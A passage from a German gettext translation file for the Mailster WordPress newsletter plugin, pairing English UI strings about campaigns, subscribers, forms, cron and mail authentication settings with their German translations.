classes/conditions.class.php:621 classes/conditions.class.php:745 #: classes/conditions.class.php:923 classes/conditions.class.php:926 #: classes/conditions.class.php:955 classes/conditions.class.php:993 #: classes/conditions.class.php:1012 classes/conditions.class.php:1023 #: classes/conditions.class.php:1042 classes/conditions.class.php:1050 #: classes/conditions.class.php:1086 classes/conditions.class.php:1103 #: classes/convert.class.php:43 classes/forms.class.php:557 #: classes/helper.class.php:621 classes/templates.class.php:904 #: includes/updates.php:666 includes/updates.php:723 includes/wp_mail.php:72 #: views/conditions/conditions.php:38 views/conditions/conditions.php:46 #: views/conditions/render.php:17 views/dashboard/mb-mailster.php:54 #: views/dashboard/mb-mailster.php:56 views/dashboard/mb-subscribers.php:28 #: views/newsletter/receivers.php:50 views/settings/authentication.php:95 #: views/settings/frontend.php:37 views/setup/delivery.php:104 #: build/workflows/delay/index.js:1 build/workflows/trigger/index.js:1 msgid "or" msgstr "oder" #: classes/templates.class.php:1714 views/manage/method-upload.php:92 msgctxt "Uploader: Drop files here - or - Select Files" msgid "or" msgstr "oder" #: views/single-newsletter.php:126 msgid "or send it with your mail application" msgstr "oder senden Sie es mit Ihrem E-Mailprogramm" #: classes/forms.class.php:1683 msgid "or use this shortcode on your site" msgstr "oder verwende diesen Shortcode auf deiner Seite" #: classes/campaigns.class.php:4555 msgid "order by" msgstr "ordnen nach" #: classes/campaigns.class.php:4561 msgid "order direction" msgstr "Richtung" #: classes/manage.class.php:415 views/newsletter/optionbar.php:86 msgid "overwrite" msgstr "überschreiben" #: views/forms/detail.php:421 msgid "Paste in your vCard content. You can use %s to generate your personal vcard" msgstr "Füge hier den Inhalt deiner vCard hinzu. Du kannst %s verwenden um deine persönliche vCard zu erstellen" #: views/settings/delivery.php:91 msgid "pause campaigns if an error occurs" msgstr "Kampagne pausieren wenn Fehler austreten " #: views/settings/delivery.php:52 views/settings/frontend.php:196 msgid "paused" msgstr "pausierte" #: classes/subscribers.table.class.php:366 msgid "pending" msgstr "ausstehend" #: views/forms/detail.php:313 msgid "Place labels inside input fields" msgstr "Die Feldbezeichnungen innerhalb von Eingabefeldern anzeigen" #: classes/mailster.class.php:1624 classes/manage.class.php:131 msgid "Preparing Data" msgstr "Vorbereitung der Daten" #: classes/campaigns.class.php:1727 classes/campaigns.class.php:1771 #: classes/forms.class.php:243 classes/lists.class.php:63 #: classes/manage.class.php:92 classes/subscribers.class.php:84 #: classes/subscribers.class.php:114 msgid "prev" msgstr "vorheriger" #: views/setup/finish.php:25 msgid "Create your first campaign" msgstr "Erstelle deine erste Kampagne" #: views/newsletter/editbar.php:300 msgctxt "Insert [excerpt] of [latest] [post]" msgid "Insert %1$s of %2$s %3$s" msgstr "Füge %1$s vom %2$s %3$s ein" #: classes/automation.class.php:807 classes/campaigns.class.php:829 #: views/newsletter/template.php:39 msgid "Total" msgstr "Gesamt" #: classes/subscribers.table.class.php:370 msgid "change status" msgstr "Status ändern" #: classes/campaigns.class.php:1838 msgid "Creating Screenshot" msgstr "Screenshot wird erstellt" #: classes/tinymce.class.php:180 msgid "Insert Newsletter Homepage Shortcodes" msgstr "Newsletter Homepage Shortcode einfügen" #: views/settings/wordpress-users.php:88 msgid "Registered Users" msgstr "Registrierte Benutzer" #: views/newsletter/details.php:152 msgid "Total Clicks" msgstr "Klicks gesamt" #: classes/forms.table.class.php:126 msgid "change structure" msgstr "ändere die Struktur" #: classes/tinymce.class.php:190 msgid "Insert Subscriber Button Shortcode" msgstr "Subscriber Button Shortcode einfügen" #: views/newsletter/delivery.php:30 msgid "Regular Campaign" msgstr "Normale Kampagne" #: views/newsletter/details.php:144 msgid "Total Errors" msgstr "Fehler gesamt" #: includes/capability.php:181 msgid "change template" msgstr "Template ändern" #: views/newsletter/delivery.php:297 msgid "%1$s %2$s have been published" msgstr "%1$s %2$s wurden veröffentlicht" #: views/settings.php:42 msgid "Cron" msgstr "Cron" #: views/newsletter/editbar.php:189 msgid "Insert from URL" msgstr "von URL einfügen" #: views/newsletter/editbar.php:188 msgid "Reload" msgstr "Neu laden" #: views/newsletter/details.php:121 msgid "Total Recipients" msgstr "Empfänger gesamt" #: includes/capability.php:195 msgid "change text version" msgstr "ändere Textversion" #: views/settings/cron.php:56 msgid "Cron Lock" msgstr "Cron Lock" #: views/newsletter/attachment.php:17 views/newsletter/attachment.php:27 #: views/newsletter/attachment.php:56 msgid "Remove Attachment" msgstr "Anhang entfernen" #: views/newsletter/details.php:121 msgid "Total Sent" msgstr "Gesamt gesendet" #: views/settings/frontend.php:93 msgid "changing the slug may cause broken links in previous sent campaigns!" msgstr "Das ändern der URL-Struktur kann fehlerhafte Links in bereits gesendete Kampagnen verursachen!" #: classes/lists.class.php:191 classes/subscribers.class.php:479 msgid "%1$s already exists. %2$s" msgstr "%1$s existiert bereits %2$s" #: classes/queue.class.php:1037 msgid "Cron Lock Enabled!" msgstr "Cron Lock ist aktiv!" #: views/settings/advanced.php:22 msgid "Remove Data" msgstr "Daten entfernen" #: views/newsletter/receivers.php:20 views/newsletter/receivers.php:54 #: views/newsletter/receivers.php:118 msgid "Total receivers" msgstr "Empfänger gesamt" #: classes/forms.class.php:1703 msgid "check this option to include the style.css of your theme into the form" msgstr "aktiviere diese Option um die style.css deines Themes mit dem Formular zu verwenden" #: views/settings/capabilities.php:28 msgid "%1$s can %2$s" msgstr "%1$s kann %2$s" #: classes/queue.class.php:1065 msgid "Cron Lock has been released!" msgstr "Cron Lock wurde entfernt!" #: views/dashboard/mb-mailster.php:40 views/dashboard/mb-mailster.php:50 msgid "Installed Version %s" msgstr "Installierte Version %s" #: classes/helper.class.php:730 msgid "Remove Image" msgstr "Bild entfernen" #: views/lists/detail.php:157 msgid "%1$s in Campaign %2$s clicked" msgstr "%1$s in Kampagne %2$s geklicket" #: classes/queue.class.php:1047 msgid "Cron Lock requested %s ago from:" msgstr "Cron Lock vor %s beantragt:" #: classes/mailster.class.php:1565 classes/mailster.class.php:1593 msgid "Installing Add on" msgstr "Erweiterung installieren" #: views/setup/sending.php:19 msgid "Reply To Address" msgstr "Antwortadresse" #: classes/ajax.class.php:1787 msgid "%1$s is forwarding this mail to you via %2$s" msgstr "%1$s hat Ihnen diese Nachricht via %2$s weitergeleitet" #: views/settings/cron.php:14 msgid "Cron Service" msgstr "Cron Dienst" #: views/newsletter/details.php:52 views/settings/general.php:11 msgid "Reply-to Email" msgstr "Antwortadresse" #: classes/settings.class.php:411 views/forms/detail.php:356 #: views/settings/subscribers.php:121 views/settings/wordpress-users.php:103 #: views/settings/wordpress-users.php:124 msgid "checked by default" msgstr "standardmäßig ausgewählt" #: views/newsletter/delivery.php:330 msgid "%1$s matching %2$s has been published" msgid_plural "%1$s matching %2$s have been published" msgstr[0] "%1$s passende %2$s wurde veröffentlicht" msgstr[1] "%1$s passende %2$s wurden veröffentlicht" #: views/settings/cron.php:25 msgid "Cron Settings" msgstr "Cron Einstellungen" #: views/settings/tags.php:72 msgid "Instead of \"post_\" and \"page_\" you can use custom post types too" msgstr "Du kannst neben \"post_\" und \"page_\" auch custom post types verwenden" #: views/forms/detail.php:215 views/forms/detail.php:287 #: build/forms/form-wrapper/index.js:1 msgid "Required Asterisk" msgstr "Pflichtfeldsternchen" #: classes/ajax.class.php:2048 msgid "checking for new messages" msgstr "Nachricht abfragen" #: views/subscribers/detail.php:421 msgid "%1$s needs about %2$s to open a campaign" msgstr "%1$s braucht um die %2$s um eine Kampagne zu öffnen" #: views/settings/cron.php:20 msgid "Cron is currently running!" msgstr "Cron ist zur Zeit aktiv!" #: views/settings/cron.php:92 msgid "Interval" msgstr "Interval" #: classes/subscribers.table.class.php:337 views/forms/detail.php:411 #: views/subscribers/detail.php:69 msgid "Resend Confirmation" msgstr "Bestätigung erneut senden" #: classes/settings.class.php:403 views/settings/subscribers.php:91 msgid "Type" msgstr "Type" #: views/settings/template.php:43 msgid "choose" msgstr "wähle" #: classes/campaigns.class.php:1769 msgctxt "[recipientstype] of [campaignname]" msgid "%1$s of %2$s" msgstr "%1$s von %2$s" #: classes/tinymce.class.php:127 msgid "Current Day" msgstr "Aktueller Tag" #: views/settings/cron.php:10 msgid "Interval for sending emails" msgstr "Intervall für E-Mailsendungen" #: views/settings/bounce.php:63 msgid "Resend soft bounced mails after %s minutes" msgstr "Soft Bounces erneut nach %s Minuten senden" #: classes/mailster.class.php:1617 classes/manage.class.php:119 msgid "Type %s to confirm deletion" msgstr "schreibe %s um zu bestätigen" #: classes/manage.class.php:408 views/subscribers/detail.php:154 msgid "Choosing \"pending\" as status will force a confirmation message to the subscribers." msgstr "Bei \"Ausstehend\" als Status wird eine Bestätigungsnachricht an den Abonnenten gesendet" #: classes/manage.class.php:859 msgid "%1$s of %2$s contacts imported." msgstr "%1$s von %2$s Kontakte importiert." #: views/newsletter/editbar.php:309 msgid "Current Match" msgstr "Aktueller Treffer" #: classes/template.class.php:634 msgctxt "common module name" msgid "Intro" msgstr "Intro" #: classes/campaigns.class.php:997 classes/campaigns.class.php:1010 #: classes/campaigns.class.php:4802 classes/campaigns.class.php:4933 #: views/newsletter/delivery.php:79 views/newsletter/delivery.php:546 #: views/newsletter/delivery.php:571 msgid "%1$s of %2$s sent" msgstr "%1$s von %2$s gesendet" #: classes/tinymce.class.php:126 msgid "Current Month" msgstr "Aktuelles Monat" #: classes/bounce.class.php:153 msgid "It looks like your bounce server setting is incorrect! Last error: %s" msgstr "Anscheinend stimmen die Einstellungen für deinen Bounce Server nicht! Letzter Fehler: %s" #: views/settings/manage-settings.php:23 msgid "Reset Settings" msgstr "Einstellungen zurücksetzen" #: classes/ajax.class.php:2067 msgid "Unable to get test message! Please check your settings." msgstr "Konnte die Testnachricht nicht empfangen! Bitte überprüfe deine Einstellungen." #: classes/campaigns.class.php:1780 msgid "click here" msgstr "hier klicken" #: classes/subscribers.class.php:886 msgid "%1$s on %2$s" msgstr "%1$s am %2$s" #: classes/tinymce.class.php:125 msgid "Current Year" msgstr "Aktuelles Jahr" #: classes/cron.class.php:72 msgid "It looks like your last cronjob hasn't been finished! Increase the %1$s, add %2$s to your wp-config.php or reduce the %3$s in the settings." msgstr "Dein Cronjob wurde wahrscheinlich nicht richtig beendet! Erhöhe die %1$s, füge %2$s deiner wp-config.php hinzu oder reduziere die %3$s in den Einstellungen." #: views/settings/capabilities.php:38 msgid "Reset all capabilities" msgstr "Alle Berechtigungen zurücksetzen" #: views/lists/detail.php:120 views/subscribers/detail.php:379 msgid "click rate" msgstr "Klickrate" #: views/settings/wordpress-users.php:41 msgid "%1$s syncs with %2$s" msgstr "%1$s synchronisiert mit %2$s" #: classes/mailster.class.php:1605 msgid "Currently %1$s of %2$s imported with %3$s errors. %4$s memory usage" msgstr "%1$s von %2$s importiert mit %3$s Fehlern. %4$s genutzter Arbeitsspeicher" #: views/settings/authentication.php:76 msgid "It's recommend to change the keys occasionally" msgstr "Es ist empfohlen die Schlüssel regelmäßig zu ändern" #: views/settings/manage-settings.php:25 msgid "Reset all settings" msgstr "Einstellungen zurücksetzen" #: classes/templates.class.php:335 msgid "Unable to save template" msgstr "Konnte Template nicht speichern" #: views/subscribers/detail.php:453 msgid "clicked %1$s in Campaign %2$s" msgstr "klickt %1$s in Kampagne %2$s" #: classes/ajax.class.php:1782 msgctxt "user forwarded via website" msgid "%1$s via %2$s" msgstr "%1$s via %2$s" #: views/forms/detail.php:338 msgid "Currently %s is your profile form" msgstr "Zur Zeit ist %s dein Profilformular" #: views/newsletter/delivery.php:180 msgid "Keep in mind it is bad practice to send campaigns after subscribers opt-out so use this option for \"Thank you\" messages or surveys." msgstr "Bitte beachte, dass das Senden von Kampagnen nach dem Abmelden nicht gemacht werden sollte. Verwende diese Option für's Danke sagen oder für Umfragen. " #: classes/settings.class.php:447 msgid "Reset all settings now" msgstr "Alle Einstellungen jetzt zurücksetzen" #: classes/ajax.class.php:348 classes/ajax.class.php:372 msgid "Unable to save template!" msgstr "Konnte Template nicht speichern!" #: classes/campaigns.class.php:4551 msgid "clicks" msgstr "klick" #: classes/lists.class.php:105 msgid "%d Lists have been removed" msgstr "%d Listen wurden entfernt" #: classes/campaigns.class.php:1762 msgid "Currently selected" msgstr "Zur Zeit ausgewählt" #: views/settings/authentication.php:70 msgid "Keys" msgstr "Schlüssel" #: views/settings/privacy.php:51 msgid "Respect users \"Do Not Track\" option" msgstr "Respektiere die \"Do Not Track\" Einstellung" #: classes/geo.class.php:198 msgid "Unable to unzip template" msgstr "Konnte Template nicht entpacken" #: classes/manage.class.php:265 classes/manage.class.php:266 msgid "comma separated" msgstr "Komma getrennt" #: classes/lists.class.php:117 msgid "%d Lists with subscribers have been removed" msgstr "%d Listen mit deren Abonnenten wurden entfernt" #: views/forms/detail.php:281 build/forms/form-wrapper/index.js:1 msgid "Custom Field Inputs" msgstr "Benutzerdefinierte Eingabefelder" #: views/dashboard/mb-mailster.php:65 views/setup/extensions.php:25 #: views/setup/privacy.php:7 msgid "Knowledge Base" msgstr "Knowledge Base" #: classes/campaigns.class.php:1236 classes/campaigns.class.php:1400 #: views/manage/import.php:45 views/newsletter/submit.php:86 #: views/newsletter/submit.php:152 views/newsletter/submit.php:183 msgid "Resume" msgstr "Fortsetzen" #: views/settings/bounce.php:6 msgid "Undeliverable emails will return to this address" msgstr "Unzustellbare E-Mails werden an diese Adresse retourniert" #: classes/campaigns.class.php:1008 msgid "completing job" msgstr "Job abschließen" #: classes/subscribers.class.php:305 msgid "%d Subscribers have been assigned to a new list" msgstr "%d Abonnenten wurden einer neuen Liste zugewiesen" #: views/forms/detail.php:276 build/forms/form-wrapper/index.js:1 msgid "Custom Field Wrapper divs" msgstr "Benutzerdefinierte Felder" #: classes/forms.class.php:1654 classes/tinymce.class.php:191 #: classes/widget.class.php:540 views/forms/detail.php:114 #: views/forms/detail.php:147 views/forms/detail.php:232 #: build/forms/form-wrapper/index.js:1 msgid "Label" msgstr "Bezeichnung" #: classes/campaigns.class.php:1236 views/newsletter/submit.php:183 msgid "Resume Campaign" msgstr "Kampagne fortsetzen" #: classes/automation.class.php:104 classes/form.class.php:279 #: classes/form.class.php:850 classes/privacy.class.php:221 #: classes/subscribers.class.php:1952 views/settings/texts.php:15 #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "Unsubscribe" msgstr "Abmelden" #: classes/settings.class.php:127 msgctxt "confirm slug" msgid "confirm" msgstr "bestätigung" #: classes/campaigns.class.php:1443 msgid "%d Subscribers have been removed" msgstr "%d Abonnenten wurden entfernt" #: classes/manage.class.php:307 views/settings/subscribers.php:65 #: views/settings/wordpress-users.php:23 msgid "Custom Fields" msgstr "Benutzerdefinierte Felder" #: views/forms/detail.php:211 build/forms/form-wrapper/index.js:1 msgid "Label Color" msgstr "Label" #: classes/mailster.class.php:1331 msgid "Return to Add Ons Page" msgstr "Zurück zu den Erweiterungen" #: views/settings/texts.php:32 msgid "Unsubscribe Button" msgstr "Abmeldebutton" #: views/subscribers/detail.php:173 views/subscribers/detail.php:292 msgid "confirmed at" msgstr "bestätigt am" #: classes/subscribers.class.php:296 msgid "%d Subscribers have been set to pending" msgstr "%d Abonnenten wurden als ausstehend markiert" #: views/forms/detail.php:265 msgid "Custom Style" msgstr "Benutzerdefinierter Style" #: classes/conditions.class.php:242 classes/manage.class.php:268 #: classes/subscribers.class.php:1945 msgid "Language" msgstr "Sprache" #: classes/widget.class.php:368 msgid "Round up to the next" msgstr "Aufrunden auf die nächsten" #: views/settings/texts.php:16 msgid "Unsubscribe Error" msgstr "Abmelde Fehler" #: classes/conditions.class.php:428 classes/conditions.class.php:464 #: views/newsletter/editbar.php:26 msgid "contains" msgstr "enthält" #: classes/subscribers.class.php:284 msgid "%d Subscribers have been subscribed" msgstr "%d Abonnenten wurden angemeldet" #: classes/tinymce.class.php:108 views/settings/tags.php:26 msgid "Custom Tags" msgstr "Benutzer Tags" #: classes/ajax.class.php:2681 msgid "Language as been loaded successfully." msgstr "Sprache wurde erfolgreich geladen." #: views/settings/authentication.php:21 msgid "SPF doesn't require any configuration on this settings page. This should give you some help to set it up correctly. If this SPF configuration doesn't work or your mails returned as spam you should ask your provider for help or change your delivery method or try %s" msgstr "SPF benötigt keine separaten Einstellungen auf dieser Seite. Dies sollte dir lediglich etwas Hilfe geben um sie korrekt zu konfigurieren. Falls diese Konfiguration nicht funktioniert oder deine Mails als Spam zurückkommen kontaktiere bitte deinen Provider oder versuche %s" #: classes/tinymce.class.php:95 views/settings/texts.php:40 msgid "Unsubscribe Link" msgstr "Abmelde Link" #: classes/lists.class.php:263 msgid "contains all segments" msgstr "enthält alle Segmente" #: classes/subscribers.class.php:290 msgid "%d Subscribers have been unsubscribed" msgstr "%d Abonnenten wurden abgemeldet" #: views/settings/subscribers.php:66 msgid "Custom field tags are individual tags for each subscriber. You can ask for them on subscription and/or make it a required field." msgstr "Benutzerdefinierte Felder sind individuell für jeden Abonnenten. Du kannst nach ihnen bei der Registrierung fragen und sie als Pflichtfeld deklarieren" #: classes/settings.class.php:266 classes/tinymce.class.php:72 #: includes/updates.php:40 patterns/default-form.php:11 patterns/forms.php:44 #: patterns/forms.php:179 patterns/forms.php:297 patterns/forms.php:346 #: views/settings/texts.php:28 msgid "Last Name" msgstr "Nachname" #: classes/campaigns.class.php:455 views/forms/detail.php:65 #: views/forms/detail.php:489 views/lists/detail.php:62 #: views/newsletter/editbar.php:341 views/newsletter/optionbar.php:114 #: views/newsletter/submit.php:83 views/newsletter/submit.php:94 #: views/newsletter/submit.php:121 views/newsletter/submit.php:127 #: views/newsletter/template.php:134 views/subscribers/detail.php:77 #: build/workflows/conditions/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Save" msgstr "Speichern" #: views/settings/frontend.php:139 views/setup/homepage.php:70 msgid "Unsubscribe Slug" msgstr "Abmeldung" #: views/newsletter/editbar.php:27 msgid "contains not" msgstr "enthält nicht" #: classes/templates.class.php:64 msgid "%d Update available" msgid_plural "%d Updates available" msgstr[0] "%d Update verfügbar" msgstr[1] "%d Updates verfügbar" #: views/setup/finish.php:36 msgid "Customize the notification template" msgstr "Das Template für Benachrichtigungen anpassen" #: views/settings/cron.php:75 msgid "Last hit" msgstr "Letzter Treffer" #: views/settings.php:81 views/settings.php:116 msgid "Save Changes" msgstr "Änderungen speichern" #: classes/tinymce.class.php:185 msgid "Unsubscribe Text" msgstr "Abmeldetext" #: classes/mailster.class.php:1607 classes/manage.class.php:106 msgid "Continues in %s seconds" msgstr "wird in %s Sekunden fortgesetzt" #: classes/forms.table.class.php:177 msgid "%d Widget" msgid_plural "%d Widgets" msgstr[0] "%d Widget" msgstr[1] "%d Widgets" #: views/settings/authentication.php:74 msgid "DKIM often doesn't work out of the box. You may have to contact your email provider to get more information" msgstr "In manchen Fällen funktioniert DKIM nicht automatisch. Bitte kontaktiere deinen Provider für mehr Information" #: classes/ajax.class.php:1976 views/settings/privacy.php:33 msgid "Last update" msgstr "Letztes Update" #: views/settings/privacy.php:45 msgid "Save IP address and time of new subscribers" msgstr "Speicher IP Adresse und Zeitpunkt von neuen Abonnenten" #: classes/lists.table.class.php:190 msgid "Unsubscribe subscribers" msgstr "Abonnenten abmelden" #: classes/subscribers.class.php:967 msgid "convert all subscribers with error status back to subscribed" msgstr "ändere alle Abonnenten mit einem Error Status zurück" #: classes/dashboard.class.php:73 classes/mailster.class.php:2032 #: views/dashboard.php:15 msgid "Dashboard" msgstr "Dashboard" #: views/settings/subscribers.php:58 views/settings/subscribers.php:59 #: views/settings/wordpress-users.php:27 msgid "Lastname" msgstr "Nachname" #: views/settings/privacy.php:44 msgid "Save Subscriber IP" msgstr "IP des Abonnenten speichern" #: classes/automation.class.php:810 classes/campaigns.class.php:832 #: classes/campaigns.class.php:4505 msgid "Unsubscribes" msgstr "Abgemeldet" #: views/newsletter/editbar.php:63 msgid "convert to link" msgstr "in Link konvertieren" #: classes/campaigns.class.php:1266 msgid "%d emails have not been sent" msgstr "%d E-Mails wurden nicht gesendet" #: views/settings/cron.php:66 msgid "Database based" msgstr "Datenbank basierend" #: classes/campaigns.class.php:1747 msgid "Save Template File" msgstr "Template Datei speichern" #: classes/campaigns.class.php:1789 msgid "Unsupported file format" msgstr "Dieses Dateiformat wird nicht unterstützt" #: views/newsletter/delivery.php:235 msgctxt "every [x] [timeframe] starting [startdate]" msgid "create a new campaign every %1$s%2$s" msgstr "erstelle alle %1$s%2$s eine neue Kampagne" #: classes/forms.class.php:334 msgid "%d forms have been removed" msgstr "%d Formulare wurden entfernt" #: classes/automation.class.php:812 classes/block-forms.class.php:247 #: classes/campaigns.class.php:834 classes/settings.class.php:409 #: classes/tinymce.class.php:123 views/lists/detail.php:138 #: views/newsletter/details.php:80 views/settings/subscribers.php:82 #: views/subscribers/detail.php:434 msgid "Date" msgstr "Datum" #: classes/widget.class.php:161 classes/widget.class.php:247 msgid "Latest Newsletter" msgstr "Letzte Newsletter" #: views/newsletter/submit.php:86 views/newsletter/submit.php:152 msgid "Save and resume campaign" msgstr "Speichern und Kampagne fortsetzen" #: views/newsletter/submit.php:52 views/newsletter/submit.php:75 #: views/newsletter/submit.php:115 views/newsletter/submit.php:147 #: views/newsletter/submit.php:190 msgid "Update" msgstr "Aktualisieren" #: views/newsletter/delivery.php:197 msgid "create a new campaign every time a new %s has been published" msgstr "erstelle eine neue Kampagne jedes mal wen ein(e) neue(r) %s veröffentlicht wurde" #: classes/queue.class.php:1048 msgid "%d second" msgid_plural "%d seconds" msgstr[0] "%d Sekunde" msgstr[1] "%d Sekunden" #: views/manage/export.php:140 msgid "Date Format" msgstr "Datumsformat" #: views/setup/finish.php:38 msgid "Learn more about segmentation" msgstr "Mehr über Segmentierung erfahren" #: views/newsletter/submit.php:88 views/newsletter/submit.php:154 msgid "Save and send campaign" msgstr "Speichern und Kampagne senden" #: views/newsletter/receivers.php:96 msgid "create a new list with all" msgstr "erstelle eine neue Liste mit allen" #: classes/subscribers.class.php:3700 classes/subscribers.class.php:3701 msgid "%d times" msgstr "%d mal" #: classes/automation.class.php:1018 classes/campaigns.class.php:1396 #: views/addons/addon.php:67 msgid "Deactivate" msgstr "deaktivieren" #: classes/ajax.class.php:1709 msgid "Create a new one" msgstr "Einen neunen erstellen" #: classes/template.class.php:658 msgctxt "common module name" msgid "%s Floating Image left" msgstr "%s Bild umfließend links" #: classes/block-forms.class.php:1988 msgid "Default Form" msgstr "Standard Formular" #: classes/settings.class.php:520 msgid "Limits have been reset" msgstr "Limits wurden zurückgestzt" #: views/newsletter/submit.php:126 views/newsletter/submit.php:132 msgid "Save as draft" msgstr "Als Entwurf speichern" #: classes/tests.class.php:590 views/settings/frontend.php:41 msgid "create it right now" msgstr "erstelle sie jetzt" #: classes/template.class.php:659 msgctxt "common module name" msgid "%s Floating Image right" msgstr "%s Bild umfließend rechts" #: views/settings/template.php:4 msgid "Default Template" msgstr "Standardtemplate" #: classes/form.class.php:523 views/lists/detail.php:157 #: views/newsletter/editbar.php:68 msgid "Link" msgstr "Link" #: classes/settings.class.php:415 msgid "Save to Test" msgstr "Speichern um zu Testen" #: classes/form.class.php:710 classes/settings.class.php:269 #: classes/upgrade.class.php:2210 msgid "Update Profile" msgstr "Profil aktualisieren" #: views/newsletter/receivers.php:115 msgid "create list" msgstr "erstelle Liste" #: classes/template.class.php:660 classes/template.class.php:662 msgctxt "common module name" msgid "%s Image Features left" msgstr "%s Bild mit Feature links" #: views/settings/frontend.php:95 msgctxt "Campaign slug" msgid "Define a %s to enable custom slugs" msgstr "Bestimme %s um eine benutzerdefinerte URL-Struktur zu aktivieren" #: views/newsletter/editbar.php:97 msgid "Link Button" msgstr "Button verlinken" #: classes/campaigns.class.php:336 msgid "Search %s" msgstr "Suche %s" #: views/dashboard/widget.php:13 msgid "Update to %s" msgstr "Auf %s aktualisieren" #: views/newsletter/receivers.php:94 msgid "create new list" msgstr "erstelle neue Liste" #: classes/template.class.php:661 classes/template.class.php:663 msgctxt "common module name" msgid "%s Image Features right" msgstr "%s Feature rechts" #: views/settings/capabilities.php:1 msgid "Define capabilities for each user role. To add new roles you can use a third party plugin. Administrator has always all privileges" msgstr "Bestimme Berechtigungen für jede Benutzerrolle. Um neue Rollen hinzuzufügen kannst du ein Plugin verwenden. Administrator hat immer alle Rechte" #: views/newsletter/editbar.php:199 msgid "Link image to the this URL" msgstr "Bild mit dieser URL verlinken" #: views/settings/frontend.php:47 msgid "Search Engine Visibility" msgstr "Sichtbarkeit für Suchmaschinen" #: views/setup/finish.php:27 msgid "Update your forms" msgstr "Formulare bearbeiten" #: classes/cron.class.php:253 msgid "cron settings" msgstr "Cron Einstellungen" #: classes/template.class.php:644 classes/template.class.php:646 #: classes/template.class.php:648 msgctxt "common module name" msgid "%s Image Full" msgstr "%s Vollbild" #: views/settings/subscribers.php:61 msgid "Define in which order names appear in your language or country. This is used for the %s tag." msgstr "Bestimme in welcher Reihenfolge Namen in deiner Sprache/deinem Land gezeigt werden. Wird für den %s tag verwendet." #: views/forms/detail.php:398 build/forms/form-wrapper/index.js:1 msgid "Linktext" msgstr "Linktext" #: views/forms/overview.php:16 msgid "Search Forms" msgstr "Suche Formulare" #: classes/conditions.class.php:212 classes/lists.class.php:39 #: classes/manage.class.php:1086 views/manage/export.php:96 msgid "Updated" msgstr "Aktualisiert" #: classes/template.class.php:652 classes/template.class.php:654 #: classes/template.class.php:656 msgctxt "common module name" msgid "%s Image on the Left" msgstr "%s Bild links" #: views/settings/texts.php:5 msgid "Define messages for the subscription form" msgstr "Bestimme die Nachrichten für das Anmeldeformular" #: classes/lists.table.class.php:13 views/dashboard/mb-lists.php:11 msgid "List" msgstr "Liste" #: views/lists/overview.php:16 msgid "Search Lists" msgstr "Suche Listen" #: views/forms/detail.php:211 views/forms/detail.php:212 #: views/forms/detail.php:213 views/forms/detail.php:214 #: views/forms/detail.php:215 views/forms/detail.php:221 #: views/forms/detail.php:222 views/forms/detail.php:223 #: views/forms/detail.php:224 views/forms/detail.php:233 #: views/forms/detail.php:236 views/forms/detail.php:239 #: views/forms/detail.php:249 views/forms/detail.php:250 #: views/forms/detail.php:251 views/forms/detail.php:252 msgid "custom style" msgstr "Benutzerdefinierter Style" #: classes/template.class.php:653 classes/template.class.php:655 #: classes/template.class.php:657 msgctxt "common module name" msgid "%s Image on the Right" msgstr "%s Bild rechts" #: views/manage/export.php:72 msgid "Define order and included columns" msgstr "Bestimme die Reihenfolge und die zu verwendeten Spalten" #: classes/lists.class.php:214 msgid "List %s has been removed" msgstr "Liste %s wurde entfernt" #: views/subscribers/overview.php:29 msgid "Search Subscribers" msgstr "Suche Abonnenten" #: views/settings/subscribers.php:13 views/settings/subscribers.php:32 msgid "daily" msgstr "täglich" #: views/lists/detail.php:91 msgid "%s Subscriber" msgid_plural "%s Subscribers" msgstr[0] "%s Abonnent" msgstr[1] "%s Abonnenten" #: views/settings/texts.php:24 msgid "Define texts for the labels of forms. Custom field labels can be defined on the Subscribers tab" msgstr "Bestimme Texte für die Felder der Formulare. Benutzerfelder können im Abonnentenreiter bestimmt werden" #: views/forms/detail.php:345 msgid "List Options" msgstr "Listenoptionen" #: views/forms/overview.php:8 views/lists/overview.php:7 #: views/logging/overview.php:15 views/subscribers/overview.php:25 msgid "Search result for %s" msgstr "Suchergebnis für %s" #: classes/templates.class.php:1724 classes/templates.class.php:1726 #: views/manage/method-upload.php:101 views/manage/method-upload.php:103 msgid "Upload" msgstr "Hochladen" #: classes/template.class.php:1173 msgid "dark" msgstr "dunkel" #: classes/template.class.php:664 classes/template.class.php:665 #: classes/template.class.php:666 classes/template.class.php:667 #: classes/template.class.php:668 classes/template.class.php:669 #: classes/template.class.php:670 classes/template.class.php:671 msgctxt "common module name" msgid "%s Text" msgstr "%s Text" #: views/settings/texts.php:38 msgid "Define texts for the mails" msgstr "Bestimme die Texte in E-Mails" #: classes/lists.class.php:203 msgid "List added" msgstr "Liste hinzugefügt" #: classes/settings.class.php:1647 msgid "Secure connection" msgstr "Sichere Verbindung" #: classes/mailster.class.php:1563 classes/mailster.class.php:1591 msgid "Use %s as your delivery method" msgstr "Verwende %s als deine Versendemethode" #: classes/campaigns.class.php:1058 classes/conditions.class.php:834 #: includes/autoresponder.php:8 views/newsletter/delivery.php:227 #: views/newsletter/delivery.php:360 msgid "day(s)" msgstr "Tag(e)" #: classes/template.class.php:645 classes/template.class.php:647 #: classes/template.class.php:649 msgctxt "common module name" msgid "%s Text Invert" msgstr "%s Text invertiert" #: views/forms/detail.php:104 msgid "Define the structure of your form below. Drag available fields in the left area to add them to your form. Rearrange fields by dragging fields around" msgstr "Bestimme die Struktur deines Formulars. Ziehe die verfügbaren Felder in das linke Feld. Um Felder zu sortieren, ziehe diese an einen neuen Platz" #: views/newsletter/receivers.php:39 msgid "List doesn't matter" msgstr "Liste spielt keine Rolle" #: classes/campaigns.class.php:1553 msgid "See stats of Campaign %s" msgstr "Zeige Statistiken der Kampagne %s" #: views/settings/authentication.php:29 msgid "Use DomainKeys Identified Mail" msgstr "Verwende DomainKeys Identified Mail" #: classes/campaigns.class.php:1188 msgid "deactivate" msgstr "deaktivieren" #: classes/subscribers.class.php:3700 classes/subscribers.class.php:3701 #: classes/subscribers.class.php:3723 classes/subscribers.class.php:3729 #: classes/subscribers.class.php:3738 views/lists/detail.php:143 #: views/logging/detail.php:31 views/settings/cron.php:90 #: views/settings/privacy.php:33 views/subscribers/detail.php:162 #: views/subscribers/detail.php:176 views/subscribers/detail.php:187 #: views/subscribers/detail.php:439 msgid "%s ago" msgstr "vor %s" #: classes/lists.class.php:334 msgid "List failed verification" msgstr "Liste konnte nicht verifiziert werden" #: classes/lists.class.php:270 msgid "Segment #%d" msgstr "Segment #%d" #: classes/forms.class.php:1656 